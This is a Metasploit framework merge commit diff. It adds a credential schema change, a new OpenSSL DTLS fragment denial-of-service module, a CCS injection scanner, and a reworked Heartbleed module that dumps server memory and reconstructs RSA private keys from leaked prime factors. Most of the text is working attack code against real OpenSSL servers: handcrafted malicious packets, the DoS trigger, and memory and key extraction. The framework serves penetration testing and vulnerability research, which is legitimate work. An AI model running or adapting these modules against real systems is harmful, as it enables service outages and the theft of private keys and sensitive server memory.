Resolve upstream conflict

bug/bundler_fix
Trevor Rosen 2014-06-11 13:34:45 -05:00
commit 651871bd7a
8 changed files with 861 additions and 194 deletions

View File

@ -11,7 +11,7 @@
#
# It's strongly recommended to check this file into your version control system.
ActiveRecord::Schema.define(:version => 20140520140817) do
ActiveRecord::Schema.define(:version => 20140605173747) do
create_table "api_keys", :force => true do |t|
t.text "token"
@ -198,6 +198,14 @@ ActiveRecord::Schema.define(:version => 20140520140817) do
add_index "metasploit_credential_logins", ["core_id", "service_id"], :name => "index_metasploit_credential_logins_on_core_id_and_service_id", :unique => true
add_index "metasploit_credential_logins", ["service_id", "core_id"], :name => "index_metasploit_credential_logins_on_service_id_and_core_id", :unique => true
create_table "metasploit_credential_origin_cracked_passwords", :force => true do |t|
t.integer "metasploit_credential_core_id", :null => false
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
add_index "metasploit_credential_origin_cracked_passwords", ["metasploit_credential_core_id"], :name => "originating_credential_cores"
create_table "metasploit_credential_origin_imports", :force => true do |t|
t.text "filename", :null => false
t.integer "task_id", :null => false
@ -238,6 +246,7 @@ ActiveRecord::Schema.define(:version => 20140520140817) do
t.text "data", :null => false
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
t.string "jtr_format"
end
add_index "metasploit_credential_privates", ["type", "data"], :name => "index_metasploit_credential_privates_on_type_and_data", :unique => true

View File

@ -70,13 +70,19 @@ module Msf::Module::Deprecated
print_warning("*"*72)
end
def init_ui(input = nil, output = nil)
super(input, output)
print_deprecation_warning
@you_have_been_warned = true
end
def generate
print_deprecation_warning
super
end
def setup
print_deprecation_warning
print_deprecation_warning unless @you_have_been_warned
super
end

View File

@ -0,0 +1,82 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Dos
include Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenSSL DTLS Fragment Buffer Overflow DoS',
'Description' => %q{
This module performs a Denial of Service Attack against Datagram TLS in
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h.
This occurs when a DTLS ClientHello message has multiple fragments and the
fragment lengths of later fragments are larger than that of the first, a
buffer overflow occurs, causing a DoS.
},
'Author' =>
[
'Juri Aedla <asd[at]ut.ee>', # Vulnerability discovery
'Jon Hart <jon_hart[at]rapid7.com>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-0195'],
['ZDI', '14-173'],
['BID', '67900'],
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/ZDI-14-173-CVE-2014-0195-OpenSSL-DTLS-Fragment-Out-of-Bounds/ba-p/6501002'],
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Once-Bled-Twice-Shy-OpenSSL-CVE-2014-0195/ba-p/6501048']
],
'DisclosureDate' => 'Jun 05 2014'))
register_options([
Opt::RPORT(4433),
OptInt.new('VERSION', [true, "SSl/TLS version", 0xFEFF])
], self.class)
end
def build_tls_fragment(type, length, seq, frag_offset, frag_length, frag_body=nil)
# format is: type (1 byte), total length (3 bytes), sequence # (2 bytes),
# fragment offset (3 bytes), fragment length (3 bytes), fragment body
sol = (seq << 48) | (frag_offset << 24) | frag_length
[
(type << 24) | length,
(sol >> 32),
(sol & 0x00000000FFFFFFFF)
].pack("NNN") + frag_body
end
def build_tls_message(type, version, epoch, sequence, message)
# format is: type (1 byte), version (2 bytes), epoch # (2 bytes),
# sequence # (6 bytes) + message length (2 bytes), message body
es = (epoch << 48) | sequence
[
type,
version,
(es >> 32),
(es & 0x00000000FFFFFFFF),
message.length
].pack("CnNNn") + message
end
def run
# add a small fragment
fragments = build_tls_fragment(1, 2, 0, 0, 1, 'C')
# add a large fragment where the length is significantly larger than that of the first
# TODO: you'll need to tweak the 2nd, 5th and 6th arguments to trigger the condition in some situations
fragments << build_tls_fragment(1, 1234, 0, 0, 123, Rex::Text.rand_text_alpha(1234))
message = build_tls_message(22, datastore['VERSION'], 0, 0, fragments)
connect_udp
print_status("#{rhost}:#{rport} - Sending fragmented DTLS client hello packet")
udp_sock.put(message)
disconnect_udp
end
end

View File

@ -0,0 +1,207 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
CIPHER_SUITES = [
0xc014, # TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
0xc00a, # TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
0xc022, # TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA
0xc021, # TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA
0x0039, # TLS_DHE_RSA_WITH_AES_256_CBC_SHA
0x0038, # TLS_DHE_DSS_WITH_AES_256_CBC_SHA
0x0088, # TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
0x0087, # TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA
0x0087, # TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
0xc00f, # TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
0x0035, # TLS_RSA_WITH_AES_256_CBC_SHA
0x0084, # TLS_RSA_WITH_CAMELLIA_256_CBC_SHA
0xc012, # TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
0xc008, # TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
0xc01c, # TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA
0xc01b, # TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA
0x0016, # TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
0x0013, # TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA
0xc00d, # TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
0xc003, # TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
0x000a, # TLS_RSA_WITH_3DES_EDE_CBC_SHA
0xc013, # TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
0xc009, # TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
0xc01f, # TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA
0xc01e, # TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA
0x0033, # TLS_DHE_RSA_WITH_AES_128_CBC_SHA
0x0032, # TLS_DHE_DSS_WITH_AES_128_CBC_SHA
0x009a, # TLS_DHE_RSA_WITH_SEED_CBC_SHA
0x0099, # TLS_DHE_DSS_WITH_SEED_CBC_SHA
0x0045, # TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
0x0044, # TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA
0xc00e, # TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
0xc004, # TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
0x002f, # TLS_RSA_WITH_AES_128_CBC_SHA
0x0096, # TLS_RSA_WITH_SEED_CBC_SHA
0x0041, # TLS_RSA_WITH_CAMELLIA_128_CBC_SHA
0xc011, # TLS_ECDHE_RSA_WITH_RC4_128_SHA
0xc007, # TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
0xc00c, # TLS_ECDH_RSA_WITH_RC4_128_SHA
0xc002, # TLS_ECDH_ECDSA_WITH_RC4_128_SHA
0x0005, # TLS_RSA_WITH_RC4_128_SHA
0x0004, # TLS_RSA_WITH_RC4_128_MD5
0x0015, # TLS_DHE_RSA_WITH_DES_CBC_SHA
0x0012, # TLS_DHE_DSS_WITH_DES_CBC_SHA
0x0009, # TLS_RSA_WITH_DES_CBC_SHA
0x0014, # TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
0x0011, # TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA
0x0008, # TLS_RSA_EXPORT_WITH_DES40_CBC_SHA
0x0006, # TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5
0x0003, # TLS_RSA_EXPORT_WITH_RC4_40_MD5
0x00ff # Unknown
]
HANDSHAKE_RECORD_TYPE = 0x16
CCS_RECORD_TYPE = 0x14
ALERT_RECORD_TYPE = 0x15
TLS_VERSION = {
'SSLv3' => 0x0300,
'1.0' => 0x0301,
'1.1' => 0x0302,
'1.2' => 0x0303
}
def initialize
super(
'Name' => 'OpenSSL Server-Side ChangeCipherSpec Injection Scanner',
'Description' => %q{
This module checks for the OpenSSL ChageCipherSpec (CCS)
Injection vulnerability. The problem exists in the handling of early
CCS messages during session negotation. Vulnerable installations of OpenSSL accepts
them, while later implementations do not. If successful, an attacker can leverage this
vulnerability to perform a man-in-the-middle (MITM) attack by downgrading the cipher spec
between a client and server. This issue was first reported in early June, 2014.
},
'Author' => [
'Masashi Kikuchi', # Vulnerability discovery
'Craig Young <CYoung[at]tripwire.com>', # Original Scanner. This module is based on it.
'juan vazquez' # Msf module
],
'References' =>
[
['CVE', '2014-0224'],
['URL', 'http://ccsinjection.lepidum.co.jp/'],
['URL', 'http://ccsinjection.lepidum.co.jp/blog/2014-06-05/CCS-Injection-en/index.html'],
['URL', 'http://www.tripwire.com/state-of-security/incident-detection/detection-script-for-cve-2014-0224-openssl-cipher-change-spec-injection/'],
['URL', 'https://www.imperialviolet.org/2014/06/05/earlyccs.html']
],
'DisclosureDate' => 'Jun 5 2014',
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(443),
OptEnum.new('TLS_VERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]),
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10])
], self.class)
end
def peer
"#{rhost}:#{rport}"
end
def response_timeout
datastore['RESPONSE_TIMEOUT']
end
def run_host(ip)
ccs_injection
end
def ccs_injection
connect_result = establish_connect
return if connect_result.nil?
vprint_status("#{peer} - Sending CCS...")
sock.put(ccs)
alert = sock.get_once(-1, response_timeout)
if alert.blank?
print_good("#{peer} - No alert after invalid CSS message, probably vulnerable")
report
elsif alert.unpack("C").first == ALERT_RECORD_TYPE
vprint_error("#{peer} - Alert record as response to the invalid CCS Message, probably not vulnerable")
elsif alert
vprint_warning("#{peer} - Unexpected response.")
end
end
def report
report_vuln({
:host => rhost,
:port => rport,
:name => self.name,
:refs => self.references,
:info => "Module #{self.fullname} successfully detected CCS injection"
})
end
def ccs
payload = "\x01" # Change Cipher Spec Message
ssl_record(CCS_RECORD_TYPE, payload)
end
def client_hello
# Use current day for TLS time
time_temp = Time.now
time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i
hello_data = [TLS_VERSION[datastore['TLS_VERSION']]].pack("n") # Version TLS
hello_data << [time_epoch].pack("N") # Time in epoch format
hello_data << Rex::Text.rand_text(28) # Random
hello_data << "\x00" # Session ID length
hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102)
hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites
hello_data << "\x01" # Compression methods length (1)
hello_data << "\x00" # Compression methods: null
data = "\x01\x00" # Handshake Type: Client Hello (1)
data << [hello_data.length].pack("n") # Length
data << hello_data
ssl_record(HANDSHAKE_RECORD_TYPE, data)
end
def ssl_record(type, data)
record = [type, TLS_VERSION[datastore['TLS_VERSION']], data.length].pack('Cnn')
record << data
end
def establish_connect
connect
vprint_status("#{peer} - Sending Client Hello...")
sock.put(client_hello)
server_hello = sock.get(response_timeout)
unless server_hello
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
disconnect
return nil
end
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
vprint_error("#{peer} - Server Hello Not Found")
return nil
end
true
end
end

View File

@ -3,6 +3,12 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
# TODO: Connection reuse: Only connect once and send subsequent heartbleed requests.
# We tried it once in https://github.com/rapid7/metasploit-framework/pull/3300
# but there were too many errors
# TODO: Parse the rest of the server responses and return a hash with the data
# TODO: Extract the relevant functions and include them in the framework
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
@ -65,9 +71,15 @@ class Metasploit3 < Msf::Auxiliary
0x00ff # Unknown
]
HANDSHAKE_RECORD_TYPE = 0x16
HEARTBEAT_RECORD_TYPE = 0x18
ALERT_RECORD_TYPE = 0x15
HANDSHAKE_RECORD_TYPE = 0x16
HEARTBEAT_RECORD_TYPE = 0x18
ALERT_RECORD_TYPE = 0x15
HANDSHAKE_SERVER_HELLO_TYPE = 0x02
HANDSHAKE_CERTIFICATE_TYPE = 0x0b
HANDSHAKE_KEY_EXCHANGE_TYPE = 0x0c
HANDSHAKE_SERVER_HELLO_DONE_TYPE = 0x0e
TLS_VERSION = {
'SSLv3' => 0x0300,
'1.0' => 0x0301,
@ -141,7 +153,7 @@ class Metasploit3 < Msf::Auxiliary
Opt::RPORT(443),
OptEnum.new('TLS_CALLBACK', [true, 'Protocol to use, "None" to use raw TLS sockets', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3', 'FTP', 'POSTGRES' ]]),
OptEnum.new('TLS_VERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]),
OptInt.new('MAX_KEYTRIES', [true, 'Max tries to dump key', 10]),
OptInt.new('MAX_KEYTRIES', [true, 'Max tries to dump key', 50]),
OptInt.new('STATUS_EVERY', [true, 'How many retries until status', 5]),
OptRegexp.new('DUMPFILTER', [false, 'Pattern to filter leaked memory before storing', nil]),
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10])
@ -150,11 +162,20 @@ class Metasploit3 < Msf::Auxiliary
register_advanced_options(
[
OptInt.new('HEARTBEAT_LENGTH', [true, 'Heartbeat length', 65535]),
OptString.new('XMPPDOMAIN', [ true, 'The XMPP Domain to use when Jabber is selected', 'localhost' ])
OptString.new('XMPPDOMAIN', [true, 'The XMPP Domain to use when Jabber is selected', 'localhost'])
], self.class)
end
def peer
"#{rhost}:#{rport}"
end
#
# Main methods
#
# Called when using check
def check_host(ip)
@check_only = true
vprint_status "#{peer} - Checking for Heartbleed exposure"
@ -165,20 +186,48 @@ class Metasploit3 < Msf::Auxiliary
end
end
# Main method
def run
if heartbeat_length > 65535 || heartbeat_length < 0
print_error("HEARTBEAT_LENGTH should be a natural number less than 65536")
print_error('HEARTBEAT_LENGTH should be a natural number less than 65536')
return
end
if response_timeout < 0
print_error("RESPONSE_TIMEOUT should be bigger than 0")
print_error('RESPONSE_TIMEOUT should be bigger than 0')
return
end
super
end
# Main method
def run_host(ip)
# initial connect to get public key and stuff
connect_result = establish_connect
disconnect
return if connect_result.nil?
case action.name
when 'SCAN'
loot_and_report(bleed)
when 'DUMP'
loot_and_report(bleed) # Scan & Dump are similar, scan() records results
when 'KEYS'
getkeys
else
#Shouldn't get here, since Action is Enum
print_error("Unknown Action: #{action.name}")
end
# ensure all connections are closed
disconnect
end
#
# DATASTORE values
#
# If this is merely a check, set to the RFC-defined
# maximum padding length of 2^14. See:
# https://tools.ietf.org/html/rfc6520#section-4
@ -187,53 +236,77 @@ class Metasploit3 < Msf::Auxiliary
if @check_only
SAFE_CHECK_MAX_RECORD_LENGTH
else
datastore["HEARTBEAT_LENGTH"]
datastore['HEARTBEAT_LENGTH']
end
end
def peer
"#{rhost}:#{rport}"
end
def response_timeout
datastore['RESPONSE_TIMEOUT']
end
def tls_version
datastore['TLS_VERSION']
end
def dumpfilter
datastore['DUMPFILTER']
end
def max_keytries
datastore['MAX_KEYTRIES']
end
def xmpp_domain
datastore['XMPPDOMAIN']
end
def status_every
datastore['STATUS_EVERY']
end
def tls_callback
datastore['TLS_CALLBACK']
end
#
# TLS Callbacks
#
def tls_smtp
# https://tools.ietf.org/html/rfc3207
sock.get_once(-1, response_timeout)
get_data
sock.put("EHLO #{Rex::Text.rand_text_alpha(10)}\r\n")
res = sock.get_once(-1, response_timeout)
res = get_data
unless res && res =~ /STARTTLS/
return nil
end
sock.put("STARTTLS\r\n")
sock.get_once(-1, response_timeout)
get_data
end
def tls_imap
# http://tools.ietf.org/html/rfc2595
sock.get_once(-1, response_timeout)
get_data
sock.put("a001 CAPABILITY\r\n")
res = sock.get_once(-1, response_timeout)
res = get_data
unless res && res =~ /STARTTLS/i
return nil
end
sock.put("a002 STARTTLS\r\n")
sock.get_once(-1, response_timeout)
get_data
end
def tls_postgres
# postgresql TLS - works with all modern pgsql versions - 8.0 - 9.3
# http://www.postgresql.org/docs/9.3/static/protocol-message-formats.html
sock.get_once
get_data
# the postgres SSLRequest packet is a int32(8) followed by a int16(1234),
# int16(5679) in network format
psql_sslrequest = [8].pack('N')
psql_sslrequest << [1234, 5679].pack('n*')
sock.put(psql_sslrequest)
res = sock.get_once
res = get_data
unless res && res =~ /S/
return nil
end
@ -242,14 +315,14 @@ class Metasploit3 < Msf::Auxiliary
def tls_pop3
# http://tools.ietf.org/html/rfc2595
sock.get_once(-1, response_timeout)
get_data
sock.put("CAPA\r\n")
res = sock.get_once(-1, response_timeout)
res = get_data
if res.nil? || res =~ /^-/ || res !~ /STLS/
return nil
end
sock.put("STLS\r\n")
res = sock.get_once(-1, response_timeout)
res = get_data
if res.nil? || res =~ /^-/
return nil
end
@ -265,13 +338,13 @@ class Metasploit3 < Msf::Auxiliary
end
def tls_jabber
sock.put(jabber_connect_msg(datastore['XMPPDOMAIN']))
sock.put(jabber_connect_msg(xmpp_domain))
res = sock.get(response_timeout)
if res && res.include?('host-unknown')
jabber_host = res.match(/ from='([\w.]*)' /)
if jabber_host && jabber_host[1]
disconnect
connect
establish_connect
vprint_status("#{peer} - Connecting with autodetected remote XMPP hostname: #{jabber_host[1]}...")
sock.put(jabber_connect_msg(jabber_host[1]))
res = sock.get(response_timeout)
@ -293,7 +366,7 @@ class Metasploit3 < Msf::Auxiliary
res = sock.get(response_timeout)
return nil if res.nil?
sock.put("AUTH TLS\r\n")
res = sock.get_once(-1, response_timeout)
res = get_data
return nil if res.nil?
if res !~ /^234/
# res contains the error message
@ -303,31 +376,83 @@ class Metasploit3 < Msf::Auxiliary
res
end
def run_host(ip)
case action.name
when 'SCAN'
loot_and_report(bleed)
when 'DUMP'
loot_and_report(bleed) # Scan & Dump are similar, scan() records results
when 'KEYS'
getkeys()
else
#Shouldn't get here, since Action is Enum
print_error("Unknown Action: #{action.name}")
return
#
# Helper Methods
#
# Get data from the socket
# this ensures the requested length is read (if available)
def get_data(length = -1)
return sock.get_once(-1, response_timeout) if length == -1
to_receive = length
data = ''
while to_receive > 0
temp = sock.get_once(to_receive, response_timeout)
break if temp.nil?
data << temp
to_receive -= temp.length
end
data
end
def to_hex_string(data)
data.each_byte.map { |b| sprintf('%02X ', b) }.join.strip
end
# establishes a connect and parses the server response
def establish_connect
connect
unless tls_callback == 'None'
vprint_status("#{peer} - Trying to start SSL via #{tls_callback}")
res = self.send(TLS_CALLBACKS[tls_callback])
if res.nil?
vprint_error("#{peer} - STARTTLS failed...")
return nil
end
end
vprint_status("#{peer} - Sending Client Hello...")
sock.put(client_hello)
server_hello = sock.get(response_timeout)
unless server_hello
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
return nil
end
server_resp_parsed = parse_ssl_record(server_hello)
if server_resp_parsed.nil?
vprint_error("#{peer} - Server Hello Not Found")
return nil
end
server_resp_parsed
end
# Generates a heartbeat request
def heartbeat_request(length)
payload = "\x01" # Heartbeat Message Type: Request (1)
payload << [length].pack('n') # Payload Length: 65535
ssl_record(HEARTBEAT_RECORD_TYPE, payload)
end
# Generates, sends and receives a heartbeat message
def bleed
# This actually performs the heartbleed portion
connect_result = establish_connect
return if connect_result.nil?
vprint_status("#{peer} - Sending Heartbeat...")
sock.put(heartbeat(heartbeat_length))
hdr = sock.get_once(5, response_timeout)
if hdr.blank?
sock.put(heartbeat_request(heartbeat_length))
hdr = get_data(5)
if hdr.nil? || hdr.empty?
vprint_error("#{peer} - No Heartbeat response...")
disconnect
return
end
@ -338,33 +463,36 @@ class Metasploit3 < Msf::Auxiliary
# try to get the TLS error
if type == ALERT_RECORD_TYPE
res = sock.get_once(len, response_timeout)
res = get_data(len)
alert_unp = res.unpack('CC')
alert_level = alert_unp[0]
alert_desc = alert_unp[1]
msg = "Unknown error"
# http://tools.ietf.org/html/rfc5246#section-7.2
case alert_desc
when 0x46
msg = "Protocol error. Looks like the chosen protocol is not supported."
msg = 'Protocol error. Looks like the chosen protocol is not supported.'
else
msg = 'Unknown error'
end
vprint_error("#{peer} - #{msg}")
disconnect
return
end
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLS_VERSION']]
vprint_error("#{peer} - Unexpected Heartbeat response")
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[tls_version]
vprint_error("#{peer} - Unexpected Heartbeat response header (#{to_hex_string(hdr)})")
disconnect
return
end
heartbeat_data = sock.get(heartbeat_length) # Read the magic length...
heartbeat_data = get_data(heartbeat_length)
vprint_status("#{peer} - Heartbeat response, #{heartbeat_data.length} bytes")
disconnect
heartbeat_data
end
# Stores received data
def loot_and_report(heartbeat_data)
unless heartbeat_data
@ -382,19 +510,19 @@ class Metasploit3 < Msf::Auxiliary
})
if action.name == 'DUMP' # Check mode, dump if requested.
pattern = datastore['DUMPFILTER']
pattern = dumpfilter
if pattern
match_data = heartbeat_data.scan(pattern).join
else
match_data = heartbeat_data
end
path = store_loot(
"openssl.heartbleed.server",
"application/octet-stream",
'openssl.heartbleed.server',
'application/octet-stream',
rhost,
match_data,
nil,
"OpenSSL Heartbleed server memory"
'OpenSSL Heartbleed server memory'
)
print_status("#{peer} - Heartbeat data stored in #{path}")
end
@ -403,12 +531,12 @@ class Metasploit3 < Msf::Auxiliary
end
def getkeys()
unless datastore['TLS_CALLBACK'] == 'None'
print_error('TLS callbacks currently unsupported for keydumping action') #TODO
return
end
#
# Keydumoing helper methods
#
# Tries to retreive the private key
def getkeys
print_status("#{peer} - Scanning for private keys")
count = 0
@ -423,13 +551,16 @@ class Metasploit3 < Msf::Auxiliary
vprint_status("#{peer} - e: #{e}")
print_status("#{peer} - #{Time.now.getutc} - Starting.")
datastore['MAX_KEYTRIES'].times {
max_keytries.times {
# Loop up to MAX_KEYTRIES times, looking for keys
if count % datastore['STATUS_EVERY'] == 0
if count % status_every == 0
print_status("#{peer} - #{Time.now.getutc} - Attempt #{count}...")
end
p, q = get_factors(bleed, n) # Try to find factors in mem
bleedresult = bleed
return unless bleedresult
p, q = get_factors(bleedresult, n) # Try to find factors in mem
unless p.nil? || q.nil?
key = key_from_pqe(p, q, e)
@ -437,75 +568,32 @@ class Metasploit3 < Msf::Auxiliary
print_status(key.export)
path = store_loot(
"openssl.heartbleed.server",
"text/plain",
'openssl.heartbleed.server',
'text/plain',
rhost,
key.export,
nil,
"OpenSSL Heartbleed Private Key"
'OpenSSL Heartbleed Private Key'
)
print_status("#{peer} - Private key stored in #{path}")
return
end
count += 1
}
print_error("#{peer} - Private key not found. You can try to increase MAX_KEYTRIES.")
print_error("#{peer} - Private key not found. You can try to increase MAX_KEYTRIES and/or HEARTBEAT_LENGTH.")
end
def heartbeat(length)
payload = "\x01" # Heartbeat Message Type: Request (1)
payload << [length].pack("n") # Payload Length: 65535
ssl_record(HEARTBEAT_RECORD_TYPE, payload)
end
def client_hello
# Use current day for TLS time
time_temp = Time.now
time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i
hello_data = [TLS_VERSION[datastore['TLS_VERSION']]].pack("n") # Version TLS
hello_data << [time_epoch].pack("N") # Time in epoch format
hello_data << Rex::Text.rand_text(28) # Random
hello_data << "\x00" # Session ID length
hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102)
hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites
hello_data << "\x01" # Compression methods length (1)
hello_data << "\x00" # Compression methods: null
hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat)
hello_data_extensions << "\x00\x01" # Extension length
hello_data_extensions << "\x01" # Extension data
hello_data << [hello_data_extensions.length].pack("n")
hello_data << hello_data_extensions
data = "\x01\x00" # Handshake Type: Client Hello (1)
data << [hello_data.length].pack("n") # Length
data << hello_data
ssl_record(HANDSHAKE_RECORD_TYPE, data)
end
def ssl_record(type, data)
record = [type, TLS_VERSION[datastore['TLS_VERSION']], data.length].pack('Cnn')
record << data
end
def get_ne()
# Fetch rhost's cert, return public key values
connect(true, {"SSL" => true}) #Force SSL
cert = OpenSSL::X509::Certificate.new(sock.peer_cert)
disconnect
unless cert
# Returns the N and E params from the public server certificate
def get_ne
unless @cert
print_error("#{peer} - No certificate found")
return
end
return cert.public_key.params["n"], cert.public_key.params["e"]
return @cert.public_key.params['n'], @cert.public_key.params['e']
end
# Tries to find pieces of the private key in the provided data
def get_factors(data, n)
# Walk through data looking for factors of n
psize = n.num_bits / 8 / 2
@ -523,40 +611,11 @@ class Metasploit3 < Msf::Auxiliary
return p, q
end
end
}
}
return nil, nil
end
def establish_connect
connect
unless datastore['TLS_CALLBACK'] == 'None'
vprint_status("#{peer} - Trying to start SSL via #{datastore['TLS_CALLBACK']}")
res = self.send(TLS_CALLBACKS[datastore['TLS_CALLBACK']])
if res.nil?
vprint_error("#{peer} - STARTTLS failed...")
return nil
end
end
vprint_status("#{peer} - Sending Client Hello...")
sock.put(client_hello)
server_hello = sock.get(response_timeout)
unless server_hello
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
disconnect
return nil
end
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
vprint_error("#{peer} - Server Hello Not Found")
return nil
end
true
end
# Generates the private key from the P, Q and E values
def key_from_pqe(p, q, e)
# Returns an RSA Private Key from Factors
key = OpenSSL::PKey::RSA.new()
@ -577,5 +636,170 @@ class Metasploit3 < Msf::Auxiliary
return key
end
end
#
# SSL/TLS packet methods
#
# Creates and returns a new SSL record with the provided data
def ssl_record(type, data)
record = [type, TLS_VERSION[tls_version], data.length].pack('Cnn')
record << data
end
# generates a CLIENT_HELLO ssl/tls packet
def client_hello
# Use current day for TLS time
time_temp = Time.now
time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i
hello_data = [TLS_VERSION[tls_version]].pack('n') # Version TLS
hello_data << [time_epoch].pack('N') # Time in epoch format
hello_data << Rex::Text.rand_text(28) # Random
hello_data << "\x00" # Session ID length
hello_data << [CIPHER_SUITES.length * 2].pack('n') # Cipher Suites length (102)
hello_data << CIPHER_SUITES.pack('n*') # Cipher Suites
hello_data << "\x01" # Compression methods length (1)
hello_data << "\x00" # Compression methods: null
hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat)
hello_data_extensions << "\x00\x01" # Extension length
hello_data_extensions << "\x01" # Extension data
hello_data << [hello_data_extensions.length].pack('n')
hello_data << hello_data_extensions
data = "\x01\x00" # Handshake Type: Client Hello (1)
data << [hello_data.length].pack('n') # Length
data << hello_data
ssl_record(HANDSHAKE_RECORD_TYPE, data)
end
# Parse SSL header
def parse_ssl_record(data)
ssl_records = []
remaining_data = data
ssl_record_counter = 0
while remaining_data && remaining_data.length > 0
ssl_record_counter += 1
ssl_unpacked = remaining_data.unpack('CH4n')
return nil if ssl_unpacked.nil? or ssl_unpacked.length < 3
ssl_type = ssl_unpacked[0]
ssl_version = ssl_unpacked[1]
ssl_len = ssl_unpacked[2]
vprint_debug("SSL record ##{ssl_record_counter}:")
vprint_debug("\tType: #{ssl_type}")
vprint_debug("\tVersion: 0x#{ssl_version}")
vprint_debug("\tLength: #{ssl_len}")
if ssl_type != HANDSHAKE_RECORD_TYPE
vprint_debug("\tWrong Record Type! (#{ssl_type})")
else
ssl_data = remaining_data[5, ssl_len]
handshakes = parse_handshakes(ssl_data)
ssl_records << {
:type => ssl_type,
:version => ssl_version,
:length => ssl_len,
:data => handshakes
}
end
remaining_data = remaining_data[(ssl_len + 5)..-1]
end
ssl_records
end
# Parse Handshake data returned from servers
def parse_handshakes(data)
# Can contain multiple handshakes
remaining_data = data
handshakes = []
handshake_count = 0
while remaining_data && remaining_data.length > 0
hs_unpacked = remaining_data.unpack('CCn')
next if hs_unpacked.nil? or hs_unpacked.length < 3
hs_type = hs_unpacked[0]
hs_len_pad = hs_unpacked[1]
hs_len = hs_unpacked[2]
hs_data = remaining_data[4, hs_len]
handshake_count += 1
vprint_debug("\tHandshake ##{handshake_count}:")
vprint_debug("\t\tLength: #{hs_len}")
handshake_parsed = nil
case hs_type
when HANDSHAKE_SERVER_HELLO_TYPE
vprint_debug("\t\tType: Server Hello (#{hs_type})")
handshake_parsed = parse_server_hello(hs_data)
when HANDSHAKE_CERTIFICATE_TYPE
vprint_debug("\t\tType: Certificate Data (#{hs_type})")
handshake_parsed = parse_certificate_data(hs_data)
when HANDSHAKE_KEY_EXCHANGE_TYPE
vprint_debug("\t\tType: Server Key Exchange (#{hs_type})")
# handshake_parsed = parse_server_key_exchange(hs_data)
when HANDSHAKE_SERVER_HELLO_DONE_TYPE
vprint_debug("\t\tType: Server Hello Done (#{hs_type})")
else
vprint_debug("\t\tType: Handshake type #{hs_type} not implemented")
end
handshakes << {
:type => hs_type,
:len => hs_len,
:data => handshake_parsed
}
remaining_data = remaining_data[(hs_len + 4)..-1]
end
handshakes
end
# Parse Server Hello message
def parse_server_hello(data)
version = data.unpack('H4')[0]
vprint_debug("\t\tServer Hello Version: 0x#{version}")
random = data[2,32].unpack('H*')[0]
vprint_debug("\t\tServer Hello random data: #{random}")
session_id_length = data[34,1].unpack('C')[0]
